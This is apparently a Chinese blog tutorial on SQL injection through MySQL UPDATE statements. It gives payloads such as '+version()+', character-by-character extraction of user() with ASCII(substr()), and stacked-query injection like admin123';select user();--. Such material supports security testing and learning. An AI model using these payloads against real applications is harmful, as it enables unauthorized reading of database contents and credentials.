zoukankan      html  css  js  c++  java
  • update注入之我理解

    1、基本语法

    update test.test_table set username='admin123',password=000 where id=1;

    update test.test_table set username='admin000''aaaaa,password=000 where id=1;

    修改为 admin000'aaaaa

    update警告:

    必须where限制,否则表中所有的username、password都变为admin123、123。

    意思是测试时不能注释掉后面的where

    2、'+version()+',查询数据库版本号

    update test.test_table set username=''+version()+'',password=123 where id=1;

    3、不能+user()+,但支持sleep()

    mysql中+表示相加,若是字符串转为整型,结果为0,即0+user()+0为0+0+0,导致没法查询到任何数据

    0+version()+0,返回0+5.7.26+0,相加结果5.7.26

    注意:

    如果是SQL Server,+ 可连接两个字符串,不是相加,可以使用 +user()+直接查询user()

    4、如何查询user()

    ①、'+length(user())+',只能用数字,长度符合数字

    长度为14,发现root@localhost确实为14

    ②、ASCII()函数也符合数字

    '+ASCII(substr(user(),1))+'         获取user()第一个字符从ascii

    update test.test_table set username=''+ASCII(substr(user(),1))+'',password=44444444 where id=4;

    第一个字符的ascii为114,就是字符 r,以此类推,不断查询user()的字符。

    5、查询与update注入不一样

    当遇到查询注入时,是没法使用上述语法(除了sleep()),'+version()+'没法使用,用此代替admin123';select version();--,或其它注入语句代替。

    select * from test.test_table where username='admin123';select user();--

  • 相关阅读:
    LeetCode 100. 相同的树(Same Tree) 2
    LeetCode 680. 验证回文字符串 Ⅱ(Valid Palindrome II) 1
    MySQL索引操作
    MySQL数据库的一些方法使用
    Anaconda安装新模块
    源码下载
    mongodb内建角色
    windows server 2008开启共享文件设置
    MySQL配置说明
    MySQL的连接数
  • 原文地址:https://www.cnblogs.com/0xpub/p/12977671.html
Copyright © 2011-2022 走看看